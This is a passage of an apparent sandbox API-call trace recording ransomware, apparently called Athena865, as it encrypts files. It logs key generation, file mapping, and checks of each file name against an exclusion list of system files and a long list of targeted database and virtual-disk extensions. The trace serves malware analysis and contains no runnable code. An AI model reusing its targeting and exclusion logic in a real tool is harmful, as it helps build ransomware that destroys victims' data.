CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.737] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.737] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.737] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bb8a0, lpName=0x0) returned 0x154 [0085.739] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x1bb8a0) returned 0x2d50000 [0085.808] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0085.874] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0085.891] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.891] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.891] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.892] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0085.907] CloseHandle (hObject=0x154) returned 1 [0085.908] CloseHandle (hObject=0x17c) returned 1 [0085.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.916] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67a67e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x20588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STYLEMGR.DLL", cAlternateFileName="")) returned 1 [0085.916] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.916] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.916] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2=".") returned 1 [0085.916] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="..") returned 1 [0085.916] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="windows") returned -1 [0085.916] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="bootmgr") returned 1 [0085.916] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="temp") returned -1 [0085.916] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="pagefile.sys") returned 1 [0085.916] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="boot") returned 1 [0085.916] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="ids.txt") returned 1 [0085.916] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="ntuser.dat") returned 1 [0085.917] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="perflogs") returned 1 [0085.917] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2="MSBuild") returned 1 [0085.917] lstrlenW (lpString="STYLEMGR.DLL") returned 12 [0085.917] lstrcpyW (in: lpString1=0x241e89e, lpString2="STYLEMGR.DLL" | out: lpString1="STYLEMGR.DLL") returned="STYLEMGR.DLL" [0085.917] lstrlenW (lpString="STYLEMGR.DLL") returned 12 [0085.917] lstrlenW (lpString="Athena865") returned 9 [0085.917] lstrcmpiW (lpString1="LEMGR.DLL", lpString2="Athena865") returned 1 [0085.917] lstrlenW (lpString=".dll") returned 4 [0085.917] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2=".dll") returned 1 [0085.917] lstrlenW (lpString=".lnk") returned 4 [0085.917] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2=".lnk") returned 1 [0085.917] lstrlenW (lpString=".ini") returned 4 [0085.917] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2=".ini") returned 1 [0085.917] lstrlenW (lpString=".sys") returned 4 [0085.917] lstrcmpiW (lpString1="STYLEMGR.DLL", lpString2=".sys") returned 1 [0085.917] lstrlenW (lpString="STYLEMGR.DLL") returned 12 [0085.917] lstrlenW (lpString="bak") returned 3 [0085.917] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0085.917] lstrlenW (lpString="ba_") returned 3 [0085.917] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0085.917] lstrlenW (lpString="dbb") returned 3 [0085.917] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0085.917] lstrlenW (lpString="vmdk") returned 4 [0085.917] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0085.917] lstrlenW (lpString="rar") returned 3 [0085.917] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0085.917] lstrlenW (lpString="zip") returned 3 [0085.917] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0085.917] lstrlenW (lpString="tgz") returned 3 [0085.917] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0085.917] lstrlenW (lpString="vbox") returned 4 [0085.917] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0085.917] lstrlenW (lpString="vdi") returned 3 [0085.918] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0085.918] lstrlenW (lpString="vhd") returned 3 [0085.918] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0085.918] lstrlenW (lpString="vhdx") returned 4 [0085.918] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0085.918] lstrlenW (lpString="avhd") returned 4 [0085.918] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0085.918] lstrlenW (lpString="db") returned 2 [0085.918] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0085.918] lstrlenW (lpString="db2") returned 3 [0085.918] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0085.918] lstrlenW (lpString="db3") returned 3 [0085.918] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0085.918] lstrlenW (lpString="dbf") returned 3 [0085.918] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0085.918] lstrlenW (lpString="mdf") returned 3 [0085.918] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0085.918] lstrlenW (lpString="mdb") returned 3 [0085.918] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0085.918] lstrlenW (lpString="sql") returned 3 [0085.918] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0085.918] lstrlenW (lpString="sqlite") returned 6 [0085.918] lstrcmpiW (lpString1="GR.DLL", lpString2="sqlite") returned -1 [0085.918] lstrlenW (lpString="sqlite3") returned 7 [0085.918] lstrcmpiW (lpString1="MGR.DLL", lpString2="sqlite3") returned -1 [0085.918] lstrlenW (lpString="sqlitedb") returned 8 [0085.918] lstrcmpiW (lpString1="EMGR.DLL", lpString2="sqlitedb") returned -1 [0085.918] lstrlenW (lpString="xml") returned 3 [0085.918] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0085.918] lstrlenW (lpString="$er") returned 3 [0085.918] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0085.918] lstrlenW (lpString="4dd") returned 3 [0085.919] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0085.919] lstrlenW (lpString="4dl") returned 3 [0085.919] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0085.919] lstrlenW (lpString="^^^") returned 3 [0085.919] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0085.919] lstrlenW (lpString="abs") returned 3 [0085.919] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0085.919] lstrlenW (lpString="abx") returned 3 [0085.919] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0085.919] lstrlenW (lpString="accdb") returned 5 [0085.919] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0085.919] lstrlenW (lpString="accdc") returned 5 [0085.919] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0085.919] lstrlenW (lpString="accde") returned 5 [0085.919] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0085.919] lstrlenW (lpString="accdr") returned 5 [0085.919] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0085.919] lstrlenW (lpString="accdt") returned 5 [0085.919] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0085.919] lstrlenW (lpString="accdw") returned 5 [0085.919] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0085.919] lstrlenW (lpString="accft") returned 5 [0085.919] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0085.919] lstrlenW (lpString="adb") returned 3 [0085.919] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.919] lstrlenW (lpString="adb") returned 3 [0085.919] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.919] lstrlenW (lpString="ade") returned 3 [0085.919] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0085.919] lstrlenW (lpString="adf") returned 3 [0085.919] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0085.919] lstrlenW (lpString="adn") returned 3 [0085.919] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0085.919] lstrlenW (lpString="adp") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0085.920] lstrlenW (lpString="alf") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0085.920] lstrlenW (lpString="ask") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0085.920] lstrlenW (lpString="btr") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0085.920] lstrlenW (lpString="cat") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0085.920] lstrlenW (lpString="cdb") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0085.920] lstrlenW (lpString="ckp") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0085.920] lstrlenW (lpString="cma") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0085.920] lstrlenW (lpString="cpd") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0085.920] lstrlenW (lpString="dacpac") returned 6 [0085.920] lstrcmpiW (lpString1="GR.DLL", lpString2="dacpac") returned 1 [0085.920] lstrlenW (lpString="dad") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0085.920] lstrlenW (lpString="dadiagrams") returned 10 [0085.920] lstrcmpiW (lpString1="YLEMGR.DLL", lpString2="dadiagrams") returned 1 [0085.920] lstrlenW (lpString="daschema") returned 8 [0085.920] lstrcmpiW (lpString1="EMGR.DLL", lpString2="daschema") returned 1 [0085.920] lstrlenW (lpString="db-journal") returned 10 [0085.920] lstrcmpiW (lpString1="YLEMGR.DLL", lpString2="db-journal") returned 1 [0085.920] lstrlenW (lpString="db-shm") returned 6 [0085.920] lstrcmpiW (lpString1="GR.DLL", lpString2="db-shm") returned 1 [0085.920] lstrlenW (lpString="db-wal") returned 6 [0085.920] lstrcmpiW (lpString1="GR.DLL", lpString2="db-wal") returned 1 [0085.920] lstrlenW (lpString="dbc") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0085.920] lstrlenW (lpString="dbs") returned 3 [0085.920] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0085.921] lstrlenW (lpString="dbt") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0085.921] lstrlenW (lpString="dbv") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0085.921] lstrlenW (lpString="dbx") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0085.921] lstrlenW (lpString="dcb") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0085.921] lstrlenW (lpString="dct") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0085.921] lstrlenW (lpString="dcx") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0085.921] lstrlenW (lpString="ddl") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0085.921] lstrlenW (lpString="dlis") returned 4 [0085.921] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0085.921] lstrlenW (lpString="dp1") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0085.921] lstrlenW (lpString="dqy") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0085.921] lstrlenW (lpString="dsk") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0085.921] lstrlenW (lpString="dsn") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0085.921] lstrlenW (lpString="dtsx") returned 4 [0085.921] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0085.921] lstrlenW (lpString="dxl") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0085.921] lstrlenW (lpString="eco") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0085.921] lstrlenW (lpString="ecx") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0085.921] lstrlenW (lpString="edb") returned 3 [0085.921] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0085.922] lstrlenW (lpString="epim") returned 4 [0085.922] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0085.922] lstrlenW (lpString="fcd") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0085.922] lstrlenW (lpString="fdb") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0085.922] lstrlenW (lpString="fic") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0085.922] lstrlenW (lpString="flexolibrary") returned 12 [0085.922] lstrlenW (lpString="fm5") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0085.922] lstrlenW (lpString="fmp") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0085.922] lstrlenW (lpString="fmp12") returned 5 [0085.922] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0085.922] lstrlenW (lpString="fmpsl") returned 5 [0085.922] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0085.922] lstrlenW (lpString="fol") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0085.922] lstrlenW (lpString="fp3") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0085.922] lstrlenW (lpString="fp4") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0085.922] lstrlenW (lpString="fp5") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0085.922] lstrlenW (lpString="fp7") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0085.922] lstrlenW (lpString="fpt") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0085.922] lstrlenW (lpString="frm") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0085.922] lstrlenW (lpString="gdb") returned 3 [0085.922] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.922] lstrlenW (lpString="gdb") returned 3 [0085.923] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.923] lstrlenW (lpString="grdb") returned 4 [0085.923] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0085.923] lstrlenW (lpString="gwi") returned 3 [0085.923] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0085.923] lstrlenW (lpString="hdb") returned 3 [0085.923] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0085.923] lstrlenW (lpString="his") returned 3 [0085.923] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0085.923] lstrlenW (lpString="ib") returned 2 [0085.923] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0085.923] lstrlenW (lpString="idb") returned 3 [0085.923] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0085.923] lstrlenW (lpString="ihx") returned 3 [0085.923] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0085.923] lstrlenW (lpString="itdb") returned 4 [0085.923] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0085.923] lstrlenW (lpString="itw") returned 3 [0085.923] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0085.923] lstrlenW (lpString="jet") returned 3 [0085.923] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0085.923] lstrlenW (lpString="jtx") returned 3 [0085.923] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0085.923] lstrlenW (lpString="kdb") returned 3 [0085.923] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0085.923] lstrlenW (lpString="kexi") returned 4 [0085.923] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0085.923] lstrlenW (lpString="kexic") returned 5 [0085.923] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0085.923] lstrlenW (lpString="kexis") returned 5 [0085.923] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0085.923] lstrlenW (lpString="lgc") returned 3 [0085.923] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0085.923] lstrlenW (lpString="lwx") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0085.924] lstrlenW (lpString="maf") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0085.924] lstrlenW (lpString="maq") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0085.924] lstrlenW (lpString="mar") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0085.924] lstrlenW (lpString="marshal") returned 7 [0085.924] lstrcmpiW (lpString1="MGR.DLL", lpString2="marshal") returned 1 [0085.924] lstrlenW (lpString="mas") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0085.924] lstrlenW (lpString="mav") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0085.924] lstrlenW (lpString="maw") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0085.924] lstrlenW (lpString="mdbhtml") returned 7 [0085.924] lstrcmpiW (lpString1="MGR.DLL", lpString2="mdbhtml") returned 1 [0085.924] lstrlenW (lpString="mdn") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0085.924] lstrlenW (lpString="mdt") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0085.924] lstrlenW (lpString="mfd") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0085.924] lstrlenW (lpString="mpd") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0085.924] lstrlenW (lpString="mrg") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0085.924] lstrlenW (lpString="mud") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0085.924] lstrlenW (lpString="mwb") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0085.924] lstrlenW (lpString="myd") returned 3 [0085.924] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0085.924] lstrlenW (lpString="ndf") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0085.925] lstrlenW (lpString="nnt") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0085.925] lstrlenW (lpString="nrmlib") returned 6 [0085.925] lstrcmpiW (lpString1="GR.DLL", lpString2="nrmlib") returned -1 [0085.925] lstrlenW (lpString="ns2") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0085.925] lstrlenW (lpString="ns3") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0085.925] lstrlenW (lpString="ns4") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0085.925] lstrlenW (lpString="nsf") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0085.925] lstrlenW (lpString="nv") returned 2 [0085.925] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0085.925] lstrlenW (lpString="nv2") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0085.925] lstrlenW (lpString="nwdb") returned 4 [0085.925] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0085.925] lstrlenW (lpString="nyf") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0085.925] lstrlenW (lpString="odb") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.925] lstrlenW (lpString="odb") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.925] lstrlenW (lpString="oqy") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0085.925] lstrlenW (lpString="ora") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0085.925] lstrlenW (lpString="orx") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0085.925] lstrlenW (lpString="owc") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0085.925] lstrlenW (lpString="p96") returned 3 [0085.925] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0085.926] lstrlenW (lpString="p97") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0085.926] lstrlenW (lpString="pan") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0085.926] lstrlenW (lpString="pdb") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0085.926] lstrlenW (lpString="pdm") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0085.926] lstrlenW (lpString="pnz") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0085.926] lstrlenW (lpString="qry") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0085.926] lstrlenW (lpString="qvd") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0085.926] lstrlenW (lpString="rbf") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0085.926] lstrlenW (lpString="rctd") returned 4 [0085.926] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0085.926] lstrlenW (lpString="rod") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0085.926] lstrlenW (lpString="rodx") returned 4 [0085.926] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0085.926] lstrlenW (lpString="rpd") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0085.926] lstrlenW (lpString="rsd") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0085.926] lstrlenW (lpString="sas7bdat") returned 8 [0085.926] lstrcmpiW (lpString1="EMGR.DLL", lpString2="sas7bdat") returned -1 [0085.926] lstrlenW (lpString="sbf") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0085.926] lstrlenW (lpString="scx") returned 3 [0085.926] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0085.927] lstrlenW (lpString="sdb") returned 3 [0085.927] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0085.927] lstrlenW (lpString="sdc") returned 3 [0085.927] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0085.927] lstrlenW (lpString="sdf") returned 3 [0085.927] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0085.927] lstrlenW (lpString="sis") returned 3 [0085.927] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0085.927] lstrlenW (lpString="spq") returned 3 [0085.927] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0085.927] lstrlenW (lpString="te") returned 2 [0085.927] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0085.927] lstrlenW (lpString="teacher") returned 7 [0085.927] lstrcmpiW (lpString1="MGR.DLL", lpString2="teacher") returned -1 [0085.928] lstrlenW (lpString="tmd") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0085.928] lstrlenW (lpString="tps") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0085.928] lstrlenW (lpString="trc") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.928] lstrlenW (lpString="trc") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.928] lstrlenW (lpString="trm") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0085.928] lstrlenW (lpString="udb") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0085.928] lstrlenW (lpString="udl") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0085.928] lstrlenW (lpString="usr") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0085.928] lstrlenW (lpString="v12") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0085.928] lstrlenW (lpString="vis") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0085.928] lstrlenW (lpString="vpd") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0085.928] lstrlenW (lpString="vvv") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0085.928] lstrlenW (lpString="wdb") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0085.928] lstrlenW (lpString="wmdb") returned 4 [0085.928] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0085.928] lstrlenW (lpString="wrk") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0085.928] lstrlenW (lpString="xdb") returned 3 [0085.928] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0085.928] lstrlenW (lpString="xld") returned 3 [0085.929] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0085.929] lstrlenW 